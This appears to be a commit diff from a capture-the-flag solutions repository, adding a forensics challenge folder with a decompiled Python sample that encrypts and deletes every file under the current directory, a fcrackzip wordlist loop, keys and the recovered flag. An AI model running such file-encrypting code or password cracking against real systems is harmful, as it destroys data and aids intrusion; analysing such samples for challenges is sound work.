changed repo structure

2025/catthegrey/forensics/notsus_exe/.python-version

@@ -0,0 +1 @@
+3.12

2025/catthegrey/forensics/notsus_exe/crack_password.sh

@@ -0,0 +1,7 @@
+#! /bin/bash
+for wordlist in ~/wordlists/passwords/*; do
+  echo "Trying $wordlist..."
+  fcrackzip -v -D -p "$wordlist" files.zip && break
+done
+
+

2025/catthegrey/forensics/notsus_exe/flag.txt.yorm

@@ -0,0 +1 @@
+r<EFBFBD><EFBFBD>S,#<23>Fs<46>uMve	p<>P<EFBFBD>X<EFBFBD><58><03>M<EFBFBD>ʸQC<51><43>y<02><><17><>n`<1E><>

2025/catthegrey/forensics/notsus_exe/keys.txt

@@ -0,0 +1 @@
+d1608c35 d11d350a 4bc3da9c

2025/catthegrey/forensics/notsus_exe/main.py

@@ -0,0 +1,6 @@
+def main():
+    print("Hello from notsus-exe!")
+
+
+if __name__ == "__main__":
+    main()

2025/catthegrey/forensics/notsus_exe/notsus.py

@@ -0,0 +1,46 @@
+# Decompiled with PyLingual (https://pylingual.io)
+# Internal filename: notsus.py
+# Bytecode version: 3.12.0rc2 (3531)
+# Source timestamp: 1970-01-01 00:00:00 UTC (0)
+
+import os
+import sys
+from itertools import cycle
+
+def a(b, c):
+    if len(b) < len(c):
+        b, c = (c, b)
+    return bytes((a ^ b for a, b in zip(b, cycle(c))))
+
+def b(a, c):
+    d = list(range(256))
+    e = 0
+    for f in range(256):
+        e = (e + d[f] + a[f % len(a)]) % 256
+        d[f], d[e] = (d[e], d[f])
+    f = e = 0
+    g = bytearray()
+    for h in c:
+        f = (f + 1) % 256
+        e = (e + d[f]) % 256
+        d[f], d[e] = (d[e], d[f])
+        k = d[(d[f] + d[e]) % 256]
+        g.append(h ^ k)
+    return bytes(g)
+
+def c(a):
+    b = []
+    for c, d, e in os.walk(a):
+        for f in e:
+            b.append(os.path.join(c, f))
+    return b
+d = b'HACKED!'
+e = os.path.basename(sys.executable)
+for f in c('.'):
+    if e in f:
+        continue
+    with open(f, 'rb') as g:
+        asdf = g.read()
+    with open(f'{f}.yorm', 'wb') as g:
+        g.write(b(d, asdf))
+    os.remove(f)

2025/catthegrey/forensics/notsus_exe/pyproject.toml

@@ -0,0 +1,9 @@
+[project]
+name = "notsus-exe"
+version = "0.1.0"
+description = "Add your description here"
+readme = "README.md"
+requires-python = ">=3.11"
+dependencies = [
+    "pip>=25.1.1",
+]

2025/catthegrey/forensics/notsus_exe/test_dir/flag.txt.yorm.yorm

@@ -0,0 +1 @@
+grey{this_program_cannot_be_run_in_dos_mode_hehe}

2025/catthegrey/forensics/notsus_exe/uv.lock

@@ -0,0 +1,23 @@
+version = 1
+revision = 2
+requires-python = ">=3.11"
+
+[[package]]
+name = "notsus-exe"
+version = "0.1.0"
+source = { virtual = "." }
+dependencies = [
+    { name = "pip" },
+]
+
+[package.metadata]
+requires-dist = [{ name = "pip", specifier = ">=25.1.1" }]
+
+[[package]]
+name = "pip"
+version = "25.1.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/59/de/241caa0ca606f2ec5fe0c1f4261b0465df78d786a38da693864a116c37f4/pip-25.1.1.tar.gz", hash = "sha256:3de45d411d308d5054c2168185d8da7f9a2cd753dbac8acbfa88a8909ecd9077", size = 1940155, upload-time = "2025-05-02T15:14:02.057Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/29/a2/d40fb2460e883eca5199c62cfc2463fd261f760556ae6290f88488c362c0/pip-25.1.1-py3-none-any.whl", hash = "sha256:2913a38a2abf4ea6b64ab507bd9e967f3b53dc1ede74b01b0931e1ce548751af", size = 1825227, upload-time = "2025-05-02T15:13:59.102Z" },
+]